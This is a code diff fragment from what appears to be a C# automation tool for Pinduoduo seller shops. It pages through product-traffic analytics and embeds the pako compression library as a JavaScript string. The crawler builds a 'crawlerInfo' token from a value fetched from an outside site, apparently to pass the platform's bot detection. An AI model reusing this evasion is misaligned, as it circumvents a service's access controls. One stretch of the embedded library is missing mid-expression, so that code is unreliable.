"\"}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + int allCount = BaseRegex.GetIntJson(ref html, "total"); + int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + + for (int i = 1; i <= page; i++) + { + if (i != 1) + { + strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + //data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + UploadPinduoduoMain.Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-DD") + "\"}"; + data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":"+i+",\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + UploadPinduoduoMain.Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + ProductVisitBase p = new ProductVisitBase(); + p.Id = BaseRegex.GetLongJson(ref list, "goodsId"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goodsSn"); + p.OrderCount = BaseRegex.GetIntJson(ref list, "payOrderCount"); + p.Title = BaseRegex.GetStringJson(ref list, "goodsName"); + p.Uv = BaseRegex.GetIntJson(ref list, "goodsUv"); + p.Pv = BaseRegex.GetIntJson(ref list, "goodsPv"); + p.UvAvgPay = BaseRegex.GetDecimalJson(ref list, "avgGoodsVcr"); + p.SoldCount = BaseRegex.GetIntJson(ref list, "payOrderCount"); + if (ReplaceModel) + { + if (!isOnline) + { + var pt = Shop.OffIds.Find(id => id == p.Id); + if (pt > 0) + { + if (UploadPinduoduoMain.VisitCount <= p.Pv) + { + //UploadPinduoduoMain.ProductOnOrOffTempDic.Add(new OnOrOffProuduct { id = p.Id,shopName=Shop.ShopName,message = "流量较大跳过" }); + Shop.OffIds.Remove(pt); + LogSave.Add(Name, "移除流量较大的商品 " + pt); + } + } + } + else + { + var pt = Shop.OnIds.Find(id => id == p.Id); + if (pt > 0) + { + if (UploadPinduoduoMain.VisitCount <= p.Pv) + { + //UploadPinduoduoMain.ProductOnOrOffTempDic.Add(new OnOrOffProuduct { id = p.Id,shopName=Shop.ShopName,message = "流量较大跳过" }); + Shop.OnIds.Remove(pt); + LogSave.Add(Name, "移除流量较大的商品 " + pt); + } + } + } + + } + } + LogSave.Add(Name, "获取 " + Shop.ShopName + " 流量:" + i); + Thread.Sleep(100); + } + //DelGroupStatus del = new DelGroupStatus(); + //del.shopName = Shop.ShopName; + //del.goodStatus = "商品获取完成"; + //del.count = 0; + //UploadPinduoduoMain.delGroupStatusList.Add(del); + } + + #region js + public static string strJs = @"(function(f){if(typeof exports===""object""&&typeof module!==""undefined""){module.exports=f()}else if(typeof define===""function""&&define.amd){define([],f)}else{var g;if(typeof window!==""undefined""){g=window}else if(typeof global!==""undefined""){g=global}else if(typeof self!==""undefined""){g=self}else{g=this}g.pako = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==""function""&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error(""Cannot find module '""+o+""'"");throw f.code=""MODULE_NOT_FOUND"",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require==""function""&&require;for(var o=0;o= 252 ? 6 : q >= 248 ? 5 : q >= 240 ? 4 : q >= 224 ? 3 : q >= 192 ? 2 : 1); +} +_utf8len[254] = _utf8len[254] = 1; // Invalid sequence start +exports.string2buf = function (str) { + var buf, c, c2, m_pos, i, str_len = str.length, buf_len = 0; + for (m_pos = 0; m_pos < str_len; m_pos++) { + c = str.charCodeAt(m_pos); + if ((c & 0xfc00) === 0xd800 && (m_pos + 1 < str_len)) { + c2 = str.charCodeAt(m_pos + 1); + if ((c2 & 0xfc00) === 0xdc00) { + c = 0x10000 + ((c - 0xd800) << 10) + (c2 - 0xdc00); + m_pos++; + } + } + buf_len += c < 0x80 ? 1 : c < 0x800 ? 2 : c < 0x10000 ? 3 : 4; + } + buf = new utils.Buf8(buf_len); + for (i = 0, m_pos = 0; i < buf_len; m_pos++) { + c = str.charCodeAt(m_pos); + if ((c & 0xfc00) === 0xd800 && (m_pos + 1 < str_len)) { + c2 = str.charCodeAt(m_pos + 1); + if ((c2 & 0xfc00) === 0xdc00) { + c = 0x10000 + ((c - 0xd800) << 10) + (c2 - 0xdc00); + m_pos++; + } + } + if (c < 0x80) { + buf[i++] = c; + } else if (c < 0x800) { + buf[i++] = 0xC0 | (c >>> 6); + buf[i++] = 0x80 | (c & 0x3f); + } else if (c < 0x10000) { + buf[i++] = 0xE0 | (c >>> 12); + buf[i++] = 0x80 | (c >>> 6 & 0x3f); + buf[i++] = 0x80 | (c & 0x3f); + } else { + buf[i++] = 0xf0 | (c >>> 18); + buf[i++] = 0x80 | (c >>> 12 & 0x3f); + buf[i++] = 0x80 | (c >>> 6 & 0x3f); + buf[i++] = 0x80 | (c & 0x3f); + } + } + + return buf; +}; +function buf2binstring(buf, len) { + if (len < 65537) { + if ((buf.subarray && STR_APPLY_UIA_OK) || (!buf.subarray && STR_APPLY_OK)) { + return String.fromCharCode.apply(null, utils.shrinkBuf(buf, len)); + } + } + + var result = ''; + for (var i = 0; i < len; i++) { + result += String.fromCharCode(buf[i]); + } + return result; +} +exports.buf2binstring = function (buf) { + return buf2binstring(buf, buf.length); +}; +exports.binstring2buf = function (str) { + var buf = new utils.Buf8(str.length); + for (var i = 0, len = buf.length; i < len; i++) { + buf[i] = str.charCodeAt(i); + } + return buf; +}; +exports.buf2string = function (buf, max) { + var i, out, c, c_len; + var len = max || buf.length; + var utf16buf = new Array(len * 2); + for (out = 0, i = 0; i < len;) { + c = buf[i++]; + if (c < 0x80) { utf16buf[out++] = c; continue; } + + c_len = _utf8len[c]; + if (c_len > 4) { utf16buf[out++] = 0xfffd; i += c_len - 1; continue; } + c &= c_len === 2 ? 0x1f : c_len === 3 ? 0x0f : 0x07; + while (c_len > 1 && i < len) { + c = (c << 6) | (buf[i++] & 0x3f); + c_len--; + } + if (c_len > 1) { utf16buf[out++] = 0xfffd; continue; } + + if (c < 0x10000) { + utf16buf[out++] = c; + } else { + c -= 0x10000; + utf16buf[out++] = 0xd800 | ((c >> 10) & 0x3ff); + utf16buf[out++] = 0xdc00 | (c & 0x3ff); + } + } + + return buf2binstring(utf16buf, out); +}; +exports.utf8border = function (buf, max) { + var pos; + + max = max || buf.length; + if (max > buf.length) { max = buf.length; } + pos = max - 1; + while (pos >= 0 && (buf[pos] & 0xC0) === 0x80) { pos--; } + if (pos < 0) { return max; } + if (pos === 0) { return max; } + return (pos + _utf8len[buf[pos]] > max) ? pos : max; +}; + +},{""./common"":1}],3:[function(require,module,exports){ +'use strict'; +function adler32(adler, buf, len, pos) { + var s1 = (adler & 0xffff) |0, + s2 = ((adler >>> 16) & 0xffff) |0, + n = 0; + while (len !== 0) { + n = len > 2000 ? 2000 : len; + len -= n; + + do { + s1 = (s1 + buf[pos++]) |0; + s2 = (s2 + s1) |0; + } while (--n); + + s1 %= 65521; + s2 %= 65521; + } + + return (s1 | (s2 << 16)) |0; +} +module.exports = adler32; + +},{}],4:[function(require,module,exports){ +'use strict'; +function makeTable() { + var c, table = []; + + for (var n = 0; n < 256; n++) { + c = n; + for (var k = 0; k < 8; k++) { + c = ((c & 1) ? (0xEDB88320 ^ (c >>> 1)) : (c >>> 1)); + } + table[n] = c; + } + + return table; +} +var crcTable = makeTable(); +function crc32(crc, buf, len, pos) { + var t = crcTable, + end = pos + len; + + crc ^= -1; + + for (var i = pos; i < end; i++) { + crc = (crc >>> 8) ^ t[(crc ^ buf[i]) & 0xFF]; + } + + return (crc ^ (-1)); // >>> 0; +} + + +module.exports = crc32; + +},{}],5:[function(require,module,exports){ +'use strict'; +var utils = require('../utils/common'); +var trees = require('./trees'); +var adler32 = require('./adler32'); +var crc32 = require('./crc32'); +var msg = require('./messages'); +var Z_NO_FLUSH = 0; +var Z_PARTIAL_FLUSH = 1; +var Z_FULL_FLUSH = 3; +var Z_FINISH = 4; +var Z_BLOCK = 5; +var Z_OK = 0; +var Z_STREAM_END = 1; +var Z_STREAM_ERROR = -2; +var Z_DATA_ERROR = -3; +var Z_BUF_ERROR = -5; +var Z_DEFAULT_COMPRESSION = -1; +var Z_FILTERED = 1; +var Z_HUFFMAN_ONLY = 2; +var Z_RLE = 3; +var Z_FIXED = 4; +var Z_DEFAULT_STRATEGY = 0; +var Z_UNKNOWN = 2; +var Z_DEFLATED = 8; +var MAX_MEM_LEVEL = 9; +var MAX_WBITS = 15; +var DEF_MEM_LEVEL = 8; +var LENGTH_CODES = 29; +var LITERALS = 256; +var L_CODES = LITERALS + 1 + LENGTH_CODES; +var D_CODES = 30; +var BL_CODES = 19; +var HEAP_SIZE = 2 * L_CODES + 1; +/* maximum heap size */ +var MAX_BITS = 15; +/* All codes must not exceed MAX_BITS bits */ + +var MIN_MATCH = 3; +var MAX_MATCH = 258; +var MIN_LOOKAHEAD = (MAX_MATCH + MIN_MATCH + 1); + +var PRESET_DICT = 0x20; + +var INIT_STATE = 42; +var EXTRA_STATE = 69; +var NAME_STATE = 73; +var COMMENT_STATE = 91; +var HCRC_STATE = 103; +var BUSY_STATE = 113; +var FINISH_STATE = 666; + +var BS_NEED_MORE = 1; +var BS_BLOCK_DONE = 2; +var BS_FINISH_STARTED = 3; +var BS_FINISH_DONE = 4; + +var OS_CODE = 0x03; + +function err(strm, errorCode) { + strm.msg = msg[errorCode]; + return errorCode; +} + +function rank(f) { + return ((f) << 1) - ((f) > 4 ? 9 : 0); +} + +function zero(buf) { var len = buf.length; while (--len >= 0) { buf[len] = 0; } } + +function flush_pending(strm) { + var s = strm.state; + + //_tr_flush_bits(s); + var len = s.pending; + if (len > strm.avail_out) { + len = strm.avail_out; + } + if (len === 0) { return; } + + utils.arraySet(strm.output, s.pending_buf, s.pending_out, len, strm.next_out); + strm.next_out += len; + s.pending_out += len; + strm.total_out += len; + strm.avail_out -= len; + s.pending -= len; + if (s.pending === 0) { + s.pending_out = 0; + } +} + + +function flush_block_only(s, last) { + trees._tr_flush_block(s, (s.block_start >= 0 ? s.block_start : -1), s.strstart - s.block_start, last); + s.block_start = s.strstart; + flush_pending(s.strm); +} + + +function put_byte(s, b) { + s.pending_buf[s.pending++] = b; +} +function putShortMSB(s, b) { + s.pending_buf[s.pending++] = (b >>> 8) & 0xff; + s.pending_buf[s.pending++] = b & 0xff; +} +function read_buf(strm, buf, start, size) { + var len = strm.avail_in; + + if (len > size) { len = size; } + if (len === 0) { return 0; } + strm.avail_in -= len; + utils.arraySet(buf, strm.input, strm.next_in, len, start); + if (strm.state.wrap === 1) { + strm.adler = adler32(strm.adler, buf, len, start); + } + + else if (strm.state.wrap === 2) { + strm.adler = crc32(strm.adler, buf, len, start); + } + + strm.next_in += len; + strm.total_in += len; + + return len; +} +function longest_match(s, cur_match) { + var chain_length = s.max_chain_length; + var scan = s.strstart; + var match; + var len; + var best_len = s.prev_length; + var nice_match = s.nice_match; + var limit = (s.strstart > (s.w_size - MIN_LOOKAHEAD)) ? + s.strstart - (s.w_size - MIN_LOOKAHEAD) : 0/*NIL*/; + var _win = s.window; + var wmask = s.w_mask; + var prev = s.prev; + var strend = s.strstart + MAX_MATCH; + var scan_end1 = _win[scan + best_len - 1]; + var scan_end = _win[scan + best_len]; + if (s.prev_length >= s.good_match) { + chain_length >>= 2; + } + if (nice_match > s.lookahead) { nice_match = s.lookahead; } + do { + match = cur_match; + if (_win[match + best_len] !== scan_end || + _win[match + best_len - 1] !== scan_end1 || + _win[match] !== _win[scan] || + _win[++match] !== _win[scan + 1]) { + continue; + } + scan += 2; + match++; + do { + } while (_win[++scan] === _win[++match] && _win[++scan] === _win[++match] && + _win[++scan] === _win[++match] && _win[++scan] === _win[++match] && + _win[++scan] === _win[++match] && _win[++scan] === _win[++match] && + _win[++scan] === _win[++match] && _win[++scan] === _win[++match] && + scan < strend); + len = MAX_MATCH - (strend - scan); + scan = strend - MAX_MATCH; + + if (len > best_len) { + s.match_start = cur_match; + best_len = len; + if (len >= nice_match) { + break; + } + scan_end1 = _win[scan + best_len - 1]; + scan_end = _win[scan + best_len]; + } + } while ((cur_match = prev[cur_match & wmask]) > limit && --chain_length !== 0); + + if (best_len <= s.lookahead) { + return best_len; + } + return s.lookahead; +} +function fill_window(s) { + var _w_size = s.w_size; + var p, n, m, more, str; + do { + more = s.window_size - s.lookahead - s.strstart; + if (s.strstart >= _w_size + (_w_size - MIN_LOOKAHEAD)) { + + utils.arraySet(s.window, s.window, _w_size, _w_size, 0); + s.match_start -= _w_size; + s.strstart -= _w_size; + s.block_start -= _w_size; + n = s.hash_size; + p = n; + do { + m = s.head[--p]; + s.head[p] = (m >= _w_size ? m - _w_size : 0); + } while (--n); + + n = _w_size; + p = n; + do { + m = s.prev[--p]; + s.prev[p] = (m >= _w_size ? m - _w_size : 0); + } while (--n); + more += _w_size; + } + if (s.strm.avail_in === 0) { + break; + } + n = read_buf(s.strm, s.window, s.strstart + s.lookahead, more); + s.lookahead += n; + if (s.lookahead + s.insert >= MIN_MATCH) { + str = s.strstart - s.insert; + s.ins_h = s.window[str]; + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[str + 1]) & s.hash_mask; + while (s.insert) { + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[str + MIN_MATCH - 1]) & s.hash_mask; + + s.prev[str & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = str; + str++; + s.insert--; + if (s.lookahead + s.insert < MIN_MATCH) { + break; + } + } + } + } while (s.lookahead < MIN_LOOKAHEAD && s.strm.avail_in !== 0); +} +function deflate_stored(s, flush) { + var max_block_size = 0xffff; + + if (max_block_size > s.pending_buf_size - 5) { + max_block_size = s.pending_buf_size - 5; + } + for (;;) { + if (s.lookahead <= 1) { + fill_window(s); + if (s.lookahead === 0 && flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + + if (s.lookahead === 0) { + break; + } + } + s.strstart += s.lookahead; + s.lookahead = 0; + var max_start = s.block_start + max_block_size; + if (s.strstart === 0 || s.strstart >= max_start) { + s.lookahead = s.strstart - max_start; + s.strstart = max_start; + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + if (s.strstart - s.block_start >= (s.w_size - MIN_LOOKAHEAD)) { + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + } + s.insert = 0; + if (flush === Z_FINISH) { + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + return BS_FINISH_DONE; + } + + if (s.strstart > s.block_start) { + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + + return BS_NEED_MORE; +} +function deflate_fast(s, flush) { + var hash_head; + var bflush; + for (;;) { + if (s.lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s.lookahead < MIN_LOOKAHEAD && flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + if (s.lookahead === 0) { + break; + } + } + hash_head = 0; + if (s.lookahead >= MIN_MATCH) { + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask; + hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = s.strstart; + } + if (hash_head !== 0/*NIL*/ && ((s.strstart - hash_head) <= (s.w_size - MIN_LOOKAHEAD))) { + s.match_length = longest_match(s, hash_head); + } + if (s.match_length >= MIN_MATCH) { + bflush = trees._tr_tally(s, s.strstart - s.match_start, s.match_length - MIN_MATCH); + s.lookahead -= s.match_length; + if (s.match_length <= s.max_lazy_match && s.lookahead >= MIN_MATCH) { + s.match_length--; + do { + s.strstart++; + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask; + hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = s.strstart; + } while (--s.match_length !== 0); + s.strstart++; + } else + { + s.strstart += s.match_length; + s.match_length = 0; + s.ins_h = s.window[s.strstart]; + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + 1]) & s.hash_mask; + } + } else { + bflush = trees._tr_tally(s, 0, s.window[s.strstart]); + + s.lookahead--; + s.strstart++; + } + if (bflush) { + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + } + s.insert = ((s.strstart < (MIN_MATCH - 1)) ? s.strstart : MIN_MATCH - 1); + if (flush === Z_FINISH) { + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + /***/ + return BS_FINISH_DONE; + } + if (s.last_lit) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + return BS_BLOCK_DONE; +} +function deflate_slow(s, flush) { + var hash_head; + var bflush; + var max_insert; + for (;;) { + if (s.lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s.lookahead < MIN_LOOKAHEAD && flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + if (s.lookahead === 0) { break; } /* flush the current block */ + } + hash_head = 0/*NIL*/; + if (s.lookahead >= MIN_MATCH) { + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask; + hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = s.strstart; + } + s.prev_length = s.match_length; + s.prev_match = s.match_start; + s.match_length = MIN_MATCH - 1; + + if (hash_head !== 0/*NIL*/ && s.prev_length < s.max_lazy_match && + s.strstart - hash_head <= (s.w_size - MIN_LOOKAHEAD)/*MAX_DIST(s)*/) { + s.match_length = longest_match(s, hash_head); + if (s.match_length <= 5 && + (s.strategy === Z_FILTERED || (s.match_length === MIN_MATCH && s.strstart - s.match_start > 4096/*TOO_FAR*/))) { + s.match_length = MIN_MATCH - 1; + } + } + if (s.prev_length >= MIN_MATCH && s.match_length <= s.prev_length) { + max_insert = s.strstart + s.lookahead - MIN_MATCH; + bflush = trees._tr_tally(s, s.strstart - 1 - s.prev_match, s.prev_length - MIN_MATCH); + s.lookahead -= s.prev_length - 1; + s.prev_length -= 2; + do { + if (++s.strstart <= max_insert) { + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask; + hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h]; + s.head[s.ins_h] = s.strstart; + } + } while (--s.prev_length !== 0); + s.match_available = 0; + s.match_length = MIN_MATCH - 1; + s.strstart++; + if (bflush) { + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } + + } else if (s.match_available) { + bflush = trees._tr_tally(s, 0, s.window[s.strstart - 1]); + if (bflush) { + flush_block_only(s, false); + } + s.strstart++; + s.lookahead--; + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + } else { + s.match_available = 1; + s.strstart++; + s.lookahead--; + } + } + if (s.match_available) { + bflush = trees._tr_tally(s, 0, s.window[s.strstart - 1]); + + s.match_available = 0; + } + s.insert = s.strstart < MIN_MATCH - 1 ? s.strstart : MIN_MATCH - 1; + if (flush === Z_FINISH) { + /*** FLUSH_BLOCK(s, 1); ***/ + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + /***/ + return BS_FINISH_DONE; + } + if (s.last_lit) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + + return BS_BLOCK_DONE; +} + + +/* =========================================================================== + * For Z_RLE, simply look for runs of bytes, generate matches only of distance + * one. Do not maintain a hash table. (It will be regenerated if this run of + * deflate switches away from Z_RLE.) + */ +function deflate_rle(s, flush) { + var bflush; /* set if current block must be flushed */ + var prev; /* byte at distance one to match */ + var scan, strend; /* scan goes up to strend for length of run */ + + var _win = s.window; + + for (;;) { + /* Make sure that we always have enough lookahead, except + * at the end of the input file. We need MAX_MATCH bytes + * for the longest run, plus one for the unrolled loop. + */ + if (s.lookahead <= MAX_MATCH) { + fill_window(s); + if (s.lookahead <= MAX_MATCH && flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + if (s.lookahead === 0) { break; } /* flush the current block */ + } + + /* See how many times the previous byte repeats */ + s.match_length = 0; + if (s.lookahead >= MIN_MATCH && s.strstart > 0) { + scan = s.strstart - 1; + prev = _win[scan]; + if (prev === _win[++scan] && prev === _win[++scan] && prev === _win[++scan]) { + strend = s.strstart + MAX_MATCH; + do { + /*jshint noempty:false*/ + } while (prev === _win[++scan] && prev === _win[++scan] && + prev === _win[++scan] && prev === _win[++scan] && + prev === _win[++scan] && prev === _win[++scan] && + prev === _win[++scan] && prev === _win[++scan] && + scan < strend); + s.match_length = MAX_MATCH - (strend - scan); + if (s.match_length > s.lookahead) { + s.match_length = s.lookahead; + } + } + //Assert(scan <= s->window+(uInt)(s->window_size-1), ""wild scan""); + } + + /* Emit match if have run of MIN_MATCH or longer, else emit literal */ + if (s.match_length >= MIN_MATCH) { + //check_match(s, s.strstart, s.strstart - 1, s.match_length); + + /*** _tr_tally_dist(s, 1, s.match_length - MIN_MATCH, bflush); ***/ + bflush = trees._tr_tally(s, 1, s.match_length - MIN_MATCH); + + s.lookahead -= s.match_length; + s.strstart += s.match_length; + s.match_length = 0; + } else { + /* No match, output a literal byte */ + //Tracevv((stderr,""%c"", s->window[s->strstart])); + /*** _tr_tally_lit(s, s.window[s.strstart], bflush); ***/ + bflush = trees._tr_tally(s, 0, s.window[s.strstart]); + + s.lookahead--; + s.strstart++; + } + if (bflush) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + } + s.insert = 0; + if (flush === Z_FINISH) { + /*** FLUSH_BLOCK(s, 1); ***/ + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + /***/ + return BS_FINISH_DONE; + } + if (s.last_lit) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + return BS_BLOCK_DONE; +} + +/* =========================================================================== + * For Z_HUFFMAN_ONLY, do not look for matches. Do not maintain a hash table. + * (It will be regenerated if this run of deflate switches away from Huffman.) + */ +function deflate_huff(s, flush) { + var bflush; /* set if current block must be flushed */ + + for (;;) { + /* Make sure that we have a literal to write. */ + if (s.lookahead === 0) { + fill_window(s); + if (s.lookahead === 0) { + if (flush === Z_NO_FLUSH) { + return BS_NEED_MORE; + } + break; /* flush the current block */ + } + } + + /* Output a literal byte */ + s.match_length = 0; + //Tracevv((stderr,""%c"", s->window[s->strstart])); + /*** _tr_tally_lit(s, s.window[s.strstart], bflush); ***/ + bflush = trees._tr_tally(s, 0, s.window[s.strstart]); + s.lookahead--; + s.strstart++; + if (bflush) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + } + s.insert = 0; + if (flush === Z_FINISH) { + /*** FLUSH_BLOCK(s, 1); ***/ + flush_block_only(s, true); + if (s.strm.avail_out === 0) { + return BS_FINISH_STARTED; + } + /***/ + return BS_FINISH_DONE; + } + if (s.last_lit) { + /*** FLUSH_BLOCK(s, 0); ***/ + flush_block_only(s, false); + if (s.strm.avail_out === 0) { + return BS_NEED_MORE; + } + /***/ + } + return BS_BLOCK_DONE; +} + +/* Values for max_lazy_match, good_match and max_chain_length, depending on + * the desired pack level (0..9). The values given below have been tuned to + * exclude worst case performance for pathological files. Better values may be + * found for specific files. + */ +function Config(good_length, max_lazy, nice_length, max_chain, func) { + this.good_length = good_length; + this.max_lazy = max_lazy; + this.nice_length = nice_length; + this.max_chain = max_chain; + this.func = func; +} + +var configuration_table; + +configuration_table = [ + /* good lazy nice chain */ + new Config(0, 0, 0, 0, deflate_stored), /* 0 store only */ + new Config(4, 4, 8, 4, deflate_fast), /* 1 max speed, no lazy matches */ + new Config(4, 5, 16, 8, deflate_fast), /* 2 */ + new Config(4, 6, 32, 32, deflate_fast), /* 3 */ + + new Config(4, 4, 16, 16, deflate_slow), /* 4 lazy matches */ + new Config(8, 16, 32, 32, deflate_slow), /* 5 */ + new Config(8, 16, 128, 128, deflate_slow), /* 6 */ + new Config(8, 32, 128, 256, deflate_slow), /* 7 */ + new Config(32, 128, 258, 1024, deflate_slow), /* 8 */ + new Config(32, 258, 258, 4096, deflate_slow) /* 9 max compression */ +]; + + +/* =========================================================================== + * Initialize the ""longest match"" routines for a new zlib stream + */ +function lm_init(s) { + s.window_size = 2 * s.w_size; + + /*** CLEAR_HASH(s); ***/ + zero(s.head); // Fill with NIL (= 0); + + /* Set the default configuration parameters: + */ + s.max_lazy_match = configuration_table[s.level].max_lazy; + s.good_match = configuration_table[s.level].good_length; + s.nice_match = configuration_table[s.level].nice_length; + s.max_chain_length = configuration_table[s.level].max_chain; + + s.strstart = 0; + s.block_start = 0; + s.lookahead = 0; + s.insert = 0; + s.match_length = s.prev_length = MIN_MATCH - 1; + s.match_available = 0; + s.ins_h = 0; +} + + +function DeflateState() { + this.strm = null; /* pointer back to this zlib stream */ + this.status = 0; /* as the name implies */ + this.pending_buf = null; /* output still pending */ + this.pending_buf_size = 0; /* size of pending_buf */ + this.pending_out = 0; /* next pending byte to output to the stream */ + this.pending = 0; /* nb of bytes in the pending buffer */ + this.wrap = 0; /* bit 0 true for zlib, bit 1 true for gzip */ + this.gzhead = null; /* gzip header information to write */ + this.gzindex = 0; /* where in extra, name, or comment */ + this.method = Z_DEFLATED; /* can only be DEFLATED */ + this.last_flush = -1; /* value of flush param for previous deflate call */ + + this.w_size = 0; /* LZ77 window size (32K by default) */ + this.w_bits = 0; /* log2(w_size) (8..16) */ + this.w_mask = 0; /* w_size - 1 */ + + this.window = null; + /* Sliding window. Input bytes are read into the second half of the window, + * and move to the first half later to keep a dictionary of at least wSize + * bytes. With this organization, matches are limited to a distance of + * wSize-MAX_MATCH bytes, but this ensures that IO is always + * performed with a length multiple of the block size. + */ + + this.window_size = 0; + /* Actual size of window: 2*wSize, except when the user input buffer + * is directly used as sliding window. + */ + + this.prev = null; + /* Link to older string with same hash index. To limit the size of this + * array to 64K, this link is maintained only for the last 32K strings. + * An index in this array is thus a window index modulo 32K. + */ + + this.head = null; /* Heads of the hash chains or NIL. */ + + this.ins_h = 0; /* hash index of string to be inserted */ + this.hash_size = 0; /* number of elements in hash table */ + this.hash_bits = 0; /* log2(hash_size) */ + this.hash_mask = 0; /* hash_size-1 */ + + this.hash_shift = 0; + /* Number of bits by which ins_h must be shifted at each input + * step. It must be such that after MIN_MATCH steps, the oldest + * byte no longer takes part in the hash key, that is: + * hash_shift * MIN_MATCH >= hash_bits + */ + + this.block_start = 0; + /* Window position at the beginning of the current output block. Gets + * negative when the window is moved backwards. + */ + + this.match_length = 0; /* length of best match */ + this.prev_match = 0; /* previous match */ + this.match_available = 0; /* set if previous match exists */ + this.strstart = 0; /* start of string to insert */ + this.match_start = 0; /* start of matching string */ + this.lookahead = 0; /* number of valid bytes ahead in window */ + + this.prev_length = 0; + /* Length of the best match at previous step. Matches not greater than this + * are discarded. This is used in the lazy match evaluation. + */ + + this.max_chain_length = 0; + /* To speed up deflation, hash chains are never searched beyond this + * length. A higher limit improves compression ratio but degrades the + * speed. + */ + + this.max_lazy_match = 0; + /* Attempt to find a better match only when the current match is strictly + * smaller than this value. This mechanism is used only for compression + * levels >= 4. + */ + // That's alias to max_lazy_match, don't use directly + //this.max_insert_length = 0; + /* Insert new strings in the hash table only if the match length is not + * greater than this length. This saves time but degrades compression. + * max_insert_length is used only for compression levels <= 3. + */ + + this.level = 0; /* compression level (1..9) */ + this.strategy = 0; /* favor or force Huffman coding*/ + + this.good_match = 0; + /* Use a faster search when the previous match is longer than this */ + + this.nice_match = 0; /* Stop searching when current match exceeds this */ + + /* used by trees.c: */ + + /* Didn't use ct_data typedef below to suppress compiler warning */ + + // struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */ + // struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */ + // struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */ + + // Use flat array of DOUBLE size, with interleaved fata, + // because JS does not support effective + this.dyn_ltree = new utils.Buf16(HEAP_SIZE * 2); + this.dyn_dtree = new utils.Buf16((2 * D_CODES + 1) * 2); + this.bl_tree = new utils.Buf16((2 * BL_CODES + 1) * 2); + zero(this.dyn_ltree); + zero(this.dyn_dtree); + zero(this.bl_tree); + + this.l_desc = null; /* desc. for literal tree */ 